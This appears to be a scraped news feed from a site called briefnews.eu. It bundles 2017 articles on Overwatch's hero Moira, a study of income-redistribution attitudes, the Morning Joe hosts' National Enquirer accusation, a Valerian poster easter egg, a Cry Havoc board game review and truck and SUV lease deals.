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]]> https://briefnews.eu/bolivia-discover-the-mysteries-of-the-witches-market-in-south-americas-intriguing-city/feed/ 0 Moira: Overwatch’s new hero has some intriguing abilities https://briefnews.eu/moira-overwatchs-new-hero-has-some-intriguing-abilities/ https://briefnews.eu/moira-overwatchs-new-hero-has-some-intriguing-abilities/#respond Fri, 03 Nov 2017 23:37:09 +0000 http://briefnews.eu/moira-overwatchs-new-hero-has-some-intriguing-abilities/

Moira was announced as one of the big reveals at Blizzcon 2017, with Blizzard deciding against repeating how they launched Sombra last year.

There was no warning on whether a new character was going to be shown off at Blizzcon, although it was expected due to how the development usually launch new content.

You can find her new abilities listed below:

BIOTIC GRASP: Using her left hand, Moira expends biotic energy to heal allies in front of her. Her right hand fires a long-range beam weapon that saps enemies’ health, healing Moira and replenishing her biotic energy.

BIOTIC ORB: Moira launches a rebounding biotic sphere; she can choose between a regeneration effect that heals the allies it passes through, or a decay effect that deals damage to enemies.

FADE: Moira quickly teleports a short distance.

COALESCENCE: Moira channels a long-range beam that both heals allies and bypasses barriers to damage her enemies.

As mentioned above, Moira’s biotic abilities enable her to contribute healing or damage, using Biotic Grasp for short-range options and her Biotic Orbs contributing longer-range smashes and healing.

Moira can also Fade to escape groups or remain close to allies in need of support. Once she’s charged Coalescence, Moira can save multiple allies from elimination at once or finish off weakened enemies.

For anyone interested in her background, her full name is Moira O’Deorain, Age: 4 and her occupation is as a Geneticist.

“Equal parts brilliant and controversial, scientist Moira O’Deorain is on the cutting edge of genetic engineering, searching for a way to rewrite the fundamental building blocks of life,” her official biography explains.

“Over a decade ago, O’Deorain made waves when she published a controversial paper detailing a methodology for creating custom genetic programs that could alter DNA at a cellular level. 

“It seemed like a promising step toward overcoming diseases and disorders and maximizing human potential.

“Dissent among her peers soon followed. Many considered her work to be dangerous because of its perceived ethical shortfalls, and O’Deorain was even accused of having the same unchecked desire for scientific advancement that some believed had caused the Omnic Crisis. 

“In addition, other geneticists were unable to reproduce the results of Moira’s research, which further called her discoveries into question. Instead of kickstarting her career, her paper seriously damaged her reputation.

“She received a lifeline in an offer from an unlikely source: Overwatch’s covert ops division, Blackwatch. She continued her work in the shadows while developing new weapons and technologies for the organization. 

“Her employment was a closely kept secret, until it was uncovered during inquiries following the Venice incident. Many high-ranking Overwatch officials disavowed all knowledge of her affiliation with them.

“After Overwatch was disbanded, O’Deorain was forced to turn to unconventional sources of funding. This time, she was invited to join the scientific collective that had founded the city of Oasis. 

“Yet some have whispered that the shadowy Talon organization had already been supporting her for years, aiding her experiments in exchange for utilizing the results for their own purposes.

“Though O’Deorain will go to any lengths to make scientific breakthroughs, her work is still unknown to most of the world. 

“But now that she has been freed from all constraints, it is only a matter of time before everything changes.”

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]]> https://briefnews.eu/moira-overwatchs-new-hero-has-some-intriguing-abilities/feed/ 0 Intriguing experiment reveals a fundamental conflict in human culture https://briefnews.eu/intriguing-experiment-reveals-a-fundamental-conflict-in-human-culture/ https://briefnews.eu/intriguing-experiment-reveals-a-fundamental-conflict-in-human-culture/#respond Fri, 14 Jul 2017 03:41:37 +0000 http://briefnews.eu/intriguing-experiment-reveals-a-fundamental-conflict-in-human-culture/

Enlarge / Hey remember this movie from the 1980s about rank-reversal aversion? (credit: Paramount Pictures)

It’s well known among economists that most people don’t like income disparities, especially when they’re on the lower rungs of the economic ladder. This is reflected in polls and scientific studies, but also just everyday common sense. Yet many of our societies suffer from a widening gap between the haves and have-nots. If we hate economic inequality so much, why do humans keep supporting institutions that concentrate wealth in a tiny percentage of the population? A new cross-cultural study led by economists working in China suggests one possible reason: people are not willing to redistribute wealth if they think it will upset the social hierarchy.

Zhejiang University business school professor Zhou Xinyue and his colleagues conducted a simple experiment using a game that allows players to redistribute income between two people. They describe the results in Nature Human Behavior. Players were shown pictures of two people and told that one has randomly been given a large amount of money and the other a small amount. Then players were asked whether they would be willing to allow the money to be redistributed under two basic conditions: one, if the redistribution leaves the “rich” person still richer than the other; and two, if the redistribution reverses the roles and leaves the “rich” person poorer than the other.

Zhou and colleagues did tests on subjects in China and continued their tests with Indian and Caucasian subjects via Mechanical Turk. They found that responses were surprisingly uniform: 76.87% of people were willing to redistribute money if the rich person remained slightly wealthier than the poor person, thus keeping “social ranking” intact. But only 44.8% of people were willing to redistribute the money if it meant reversing the fortunes of the “rich” and “poor” people.

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]]> https://briefnews.eu/intriguing-experiment-reveals-a-fundamental-conflict-in-human-culture/feed/ 0 Mika Brzezinski’s blackmail accusation is intriguing, considering Trump’s long relationship with the National Enquirer https://briefnews.eu/mika-brzezinskis-blackmail-accusation-is-intriguing-considering-trumps-long-relationship-with-the-national-enquirer/ https://briefnews.eu/mika-brzezinskis-blackmail-accusation-is-intriguing-considering-trumps-long-relationship-with-the-national-enquirer/#respond Sat, 01 Jul 2017 12:38:19 +0000 http://briefnews.eu/mika-brzezinskis-blackmail-accusation-is-intriguing-considering-trumps-long-relationship-with-the-national-enquirer/ Joe Scarborough and Mika Brzezinski interview Donald Trump on the campaign trail in January 2016.Scott Morgan/Reuters

Mika Brzezinski and Joe Scarborough, the hosts of MSNBC’s “Morning Joe,” published an op-ed in The Washington Post on Friday claiming that top White House staffers had threatened them with a negative story in the National Enquirer unless the hosts begged President Donald Trump to stop it.

“We ignored their desperate pleas,” Scarborough and Brzezinski wrote.

The op-ed came one day after the president bashed the hosts in a series of tweets.

The accusation by the MSNBC hosts is made more intriguing by the long, documented relationship between Trump and the tabloid.

The New Yorker earlier this week published an exposé of Trump’s relationship with the National Enquirer. In it, David Pecker, the CEO of American Media, the Enquirer’s parent company, told reporter Jeffrey Toobin that Trump was “a personal friend of mine.”

Pecker and Trump have been friends for decades, according to The New Yorker, and Pecker once hired a columnist on the condition that “on the outside she can’t be bashing Trump and American Media.”

Gus Wenner, the son of the Rolling Stone cofounder and media mogul Jann Wenner, told Toobin that Pecker told him he had stopped negative stories about Trump.

“He told me very bluntly that he had killed all sorts of stories for Trump,” Wenner told The New Yorker, adding that the columnist Pecker hired had threatened to go public with a negative story about Trump.

While Pecker denied the allegations to The New Yorker, he said he used his strong media presence to help his friends and that he admired Trump.

“I’d tell him every time I’d see him,” Pecker said, adding that the National Enquirer’s coverage of Trump was intended to give tabloid’s readers what they wanted. “I’d say, ‘Who cares about governor or mayor, you should be president.”

Brzezinski and Scarborough allege that the article the tabloid was planning to run about them concerned their romantic relationship. The couple announced their engagement earlier this year.

Scarborough said on “Morning Joe” on Friday that they had received calls from at least three high-level officials in the Trump administration asking for certain stories to be “spiked,” or discarded before publication.

“We got a call that, ‘Hey, the National Enquirer is going to run a negative story against you guys,'” Scarborough said on the show.

Trump responded by tweeting on Friday that it was actually Scarborough who had called him to stop a National Enquirer article — a claim Scarborough immediately denied, saying he had texts from top aides as well as phone records.

The National Enquirer said in a statement that it had “no knowledge of any discussions between the White House and Joe and Mika about our story.”

NOW WATCH: ‘Where is Sean?’: Things got awkward when April Ryan asked Sarah Sanders why Spicer didn’t attend the WH briefing

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]]> https://briefnews.eu/mika-brzezinskis-blackmail-accusation-is-intriguing-considering-trumps-long-relationship-with-the-national-enquirer/feed/ 0 New ‘Valerian’ Poster Seems to Feature an Intriguing ‘Fifth Element’ Reference https://briefnews.eu/new-valerian-poster-seems-to-feature-an-intriguing-fifth-element-reference/ https://briefnews.eu/new-valerian-poster-seems-to-feature-an-intriguing-fifth-element-reference/#respond Sat, 29 Apr 2017 22:09:47 +0000 http://briefnews.eu/new-valerian-poster-seems-to-feature-an-intriguing-fifth-element-reference/ Valerian and the City of a Thousand Planets Poster

This summer, director Luc Besson returns to sci-fi in a big way with an adaptation of the French comic Valerian and Laureline in the form of the feature film Valerian and the City of a Thousand Planets. The movie came in at #7 on our list of anticipated wide releases coming to theaters this summer, and it looks like it’s going to be something wild and action-packed.

Normally, we try to veer away from highlighting just a single poster unless there’s something special to observe within it. Today we’re featuring a poster for Valerian and the City of a Thousand Planets, not just because we want to keep promoting this movie so people will see it and help support big, strange sci-fi movies like this, but because the poster contains a rather intriguing easter egg referencing The Fifth Element.

Check out the Valerian and the City of a Thousand Planets poster after the jump.

Valerian and the City of a Thousand Planets Poster

Upon first inspection, there’s nothing particularly remarkable about this poster. Sure, it features Dane DeHaan and Cara Delevingne and their electric eyes, as well as Clive Owen in commander mode, and Rihanna doing her space cabaret thing. Plus, there are some rather unique aliens featured to make sure everyone understands this is a sci-fi movie. But look closer at the upper right hand corner with the aliens who looks kind of like a Jabba the Hutt version of Drax the Destroyer from Guardians of the Galaxy. Notice anything intriguing behind him?

Let’s take a closer look zoomed in at the high-resolution image. Enhance!

Valerian and the City of a Thousand Planets Poster

Check out the name on that sign back there. You can’t see the whole name, but it looks like the establishment might be called Korben’s. The name of Bruce Willis’ character in The Fifth Element was Korben Dallas. Is there a chance that Korben has opened a bar in the intergalactic city of Alpha, populated by thousands of species from across the entire universe?

We haven’t heard anything about a cameo from Bruce Willis or anything like that, but it would be awesome if we learned that Valerian and The Fifth Element took place in the same universe. Then again, the title of this establishment could be as far as the easter egg goes and fans will have to make their own assumption.

Valerian (Dane DeHaan) and Laureline (Cara Delevingne) are special operatives for the government of the human territories charged with maintaining order throughout the universe. Valerian has more in mind than a professional relationship with his partner, blatantly chasing after her with propositions of romance. But his extensive history with women, and her traditional values, drive Laureline to continuously rebuff him.

Under directive from their Commander (Clive Owen), Valerian and Laureline embark on a mission to the breathtaking intergalactic city of Alpha, an ever-expanding metropolis comprised of thousands of different species from all four corners of the universe. Alpha’s seventeen million inhabitants have converged over time- uniting their talents, technology and resources for the betterment of all. Unfortunately, not everyone on Alpha shares in these same objectives; in fact, unseen forces are at work, placing our race in great danger.

Valerian and the City of the Thousand Planets opens in theaters on July 21.

The post New ‘Valerian’ Poster Seems to Feature an Intriguing ‘Fifth Element’ Reference appeared first on /Film.

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]]> https://briefnews.eu/new-valerian-poster-seems-to-feature-an-intriguing-fifth-element-reference/feed/ 0 Review: Cry Havoc an intriguing sci-fi “dudes on a map” throwdown https://briefnews.eu/review-cry-havoc-an-intriguing-sci-fi-dudes-on-a-map-throwdown/ https://briefnews.eu/review-cry-havoc-an-intriguing-sci-fi-dudes-on-a-map-throwdown/#respond Sat, 22 Apr 2017 19:17:27 +0000 http://briefnews.eu/review-cry-havoc-an-intriguing-sci-fi-dudes-on-a-map-throwdown/

Enlarge (credit: Owen Duffy)

Welcome to Ars Cardboard, our weekend look at tabletop games! Check out our complete board gaming coverage at cardboard.arstechnica.com—and let us know what you think.

On first inspection, Cry Havoc looks like any number of similarly grim and gritty science fiction board games. It comes with a stash of plastic soldiers, robots, and aliens, and its artwork paints a world in tones of mud, fire, and gun metal. If you’re expecting a quick fix of hectic, dice-chucking combat, though, you’re going to be disappointed, because the game offers a much more thoughtful take on the concept of planetary conquest.

(credit: Portal Games)

Cry Havoc hands players command of rival factions competing to colonise a newly discovered world. Playing as aggressive and expansionist humans, merciless and powerful machines, or elusive and enigmatic aliens known as the Pilgrims, you’ll attempt to claim victory by seizing control of territories and exploiting them for their resources (in the form of shiny plastic crystals).

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]]> https://briefnews.eu/review-cry-havoc-an-intriguing-sci-fi-dudes-on-a-map-throwdown/feed/ 0 Eight Intriguing Truck and SUV Lease Deals of the Moment https://briefnews.eu/eight-intriguing-truck-and-suv-lease-deals-of-the-moment/ https://briefnews.eu/eight-intriguing-truck-and-suv-lease-deals-of-the-moment/#respond Sat, 22 Apr 2017 04:17:30 +0000 http://briefnews.eu/eight-intriguing-truck-and-suv-lease-deals-of-the-moment/  

—Leasing is ballooning in popularity as a way to keep new-vehicle payments at least semi-affordable in the wake of rising sticker prices. Combine that with a slowdown in new-vehicle sales that has seen automakers open the spigot of incentive spending to keep new cars flowing out of showrooms, and you get a wave of subsidized lease deals. We waded though this month’s nationwide offers to choose the best for a whole range of vehicle types, all of which expire by May 1, 2017. --So how do you define the best lease deals? More mathematical minds might do so by creating an equation that determines the amount spent over the lease period versus the vehicle’s actual cost. But we’re not your accountants. So, instead, we went through a number of lease deals that are currently available through April and chose the one in each major vehicle segment that struck us as a deal that even our most lease-snubbing staffers might consider. These deals aren’t limited to one region, either, as we plugged in ZIP codes for all 48 of the contiguous United States to verify their cross-border availability (sorry, Alaska and Hawaii). Still, it should be noted that these offers generally are limited to participating dealers and qualified customers—i.e., if your credit is wrecked, then you probably won’t be eligible for the advertised rate. Also, the amount listed as “due at signing,” unless otherwise stated, includes the first month’s lease payment; however, it does not include taxes, title, license fees, and the like. You’ll have to determine those on your own.–Due at signing: $ 2299-Mileage limit: 36,000 --The Honda HR-V isn’t the most endearing subcompact crossover, but it’s fuel-efficient and versatile. Thank the little crossover’s low load floor and Honda’s innovative Magic Seat. The 169.1-inch-long HR-V offers up as much as 59 cubic feet of cargo space, a figure that bests the 12.9-inch-longer Jeep Cherokee’s available space by 4 cubic feet. Opt for all-wheel drive, though, and the HR-V’s maximum cargo space shrinks to 56 cubic feet. Fortunately for those in need of as much space as possible, Honda’s HR-V lease deal applies strictly to the front-wheel-drive HR-V LX equipped with the optional continuously variable automatic transmission (CVT). Although the LX is the lowest member on the HR-V totem pole, the trim is quite well equipped, including such items as power windows and locks, cruise control, steering-wheel-mounted audio controls, Bluetooth phone and audio capability, automatic headlights, and LED brake lights. One upside to sticking with the LX: You get the more basic audio system—with a real volume knob!—rather than Honda’s frustrating touchscreen unit.--The HR-V’s standard 141-hp 1.8-liter four-cylinder engine and CVT make it a fine enough partner around town. And the front-drive model’s EPA numbers are tops in the segment. Although there are more engaging compact crossovers available, it’s hard to argue with the HR-V at this low lease rate.–Due at signing: $ 1799-Mileage limit: 36,000 --The Kia Sportage sits at midpack within the growing field of compact crossovers. Fortunately for consumers, the Korean brand is doing its part to elevate the status of the Sportage by offering a lease deal with an ultralow monthly payment on the funky-faced crossover.--This specific national deal is limited to the base Sportage LX with a 181-hp 2.4-liter four-cylinder engine. It’s not our favorite unit in the class but is still peppy enough to move the Sportage with relative ease. As is typical of Kia, the base-spec Sportage is anything but a penalty box. Inside, Kia fits a 5.0-inch touchscreen infotainment system, steering-wheel-mounted audio controls, cruise control, Bluetooth, and a USB port. Outside, 17-inch alloy wheels and LED daytime running lights keep the LX from looking like a stripper model.–Due at signing: $ 3779-Mileage limit: 32,500 --If you’re willing to give up the Chevrolet Tahoe’s tough body-on-frame construction, then you’re likely to find better local offers on a number of unibody three-row crossovers. But we could not replicate those deals nationally, leaving the Tahoe’s $ 549-per-month lease to hold down the “Large Crossover/SUV Lease Deal” spot. --This offer isn’t for a base-spec Tahoe, either, as Chevrolet packages it around the well-equipped LT model with all-wheel drive. In this configuration, the burly Tahoe’s big 5.3-liter V-8 is able to tow up to 8400 pounds. The trim also includes such amenities as leather seating, heated front seats, a power liftgate, a lane-keeping assist system, forward-collision warning, and automatic high-beam headlights.–Due at signing: $ 4274-Mileage limit: 30,000 --As much as it pains us to admit it, the front-wheel-drive BMW X1 is good. In fact, it’s so good, that it won its class in our 10Best Trucks and SUVs for 2017. And right now, the small crossover can be yours for 36 months for a reasonable $ 349 per month; however, you’ll need to fork over a somewhat hefty $ 4274 at the time of signing. --Nevertheless, this front-drive, four-cylinder crossover comes well equipped, as BMW tosses in a coat of metallic paint and the Driver Assistance package (rearview camera, parking sensors, and a hands-free automated parking system).–Due at signing: $ 4314-Mileage limit: 30,000 --With a host of new or redesigned entrants among compact luxury crossover SUVs, the BMW X3 finds itself an elder statesman within the segment. Still, the X3 remains a competitive entrant. While we’re partial to the turbocharged, six-cylinder xDrive35i model, BMW is limiting this relatively affordable $ 389 per month price point to the rear-drive, turbocharged four-cylinder X3 sDrive28i. Want the bigger engine and AWD? Then plan to drop another $ 110 per month.–Due at signing: $ 2999-Mileage limit: 30,000 --The Acura MDX is arguably the brand’s best product not named NSX. In fact, the MDX is so good at being a comfortable, three-row luxury crossover SUV that it currently sits on our Editors’ Choice list. Fresh off a facelift, which also added a host of active-safety features to the model’s list of standard features, Acura is currently offering lessees the chance to drive the seven-passenger crossover for three years at a cost of $ 439 per month with $ 2999 due at signing.–Due at signing: $ 6593-Mileage limit: 30,000 --To say that we like the Mercedes-Benz GLS450 would be an understatement. A 10Best Trucks and SUVs winner, the big Benz is a fantastic means to cart up to seven people in the lap of luxury. With a starting price of $ 69,625, the GLS450 is by no means an inexpensive vehicle, which accounts for this lease deal’s monthly payments of $ 799 and $ 6593 due at signing—that’s not chump change, but these figures put the GLS450 in the reach of customers who otherwise couldn’t swing the three-row crossover’s list price. Along with the GLS450’s long list of standard features, Mercedes-Benz adds the Premium 1 package as part of this lease special. The $ 3830 package includes a blind-spot monitor, lane-keeping assist, a proximity key with push-button start, a navigation system, and Apple CarPlay.–Due at signing: $ 3389-Mileage limit: 30,000 --Like DMX, Chevrolet wants you to bring your whole crew. Specifically, Chevy would like you to do so in a Colorado LT crew cab, as the brand is currently offering the V-6, four-door pickup for a mere $ 279 per month for 36 months with just $ 3389 due at signing. Oh yeah, the bow-tie brand is also throwing in four-wheel drive with this deal. Imagine, you and your crew four-wheeling through muddy terrain with up to 1520 pounds of payload sitting in the bed. Or towing as much as 7000 pounds of boat or camper or ATVs. The possibilities are endless.—

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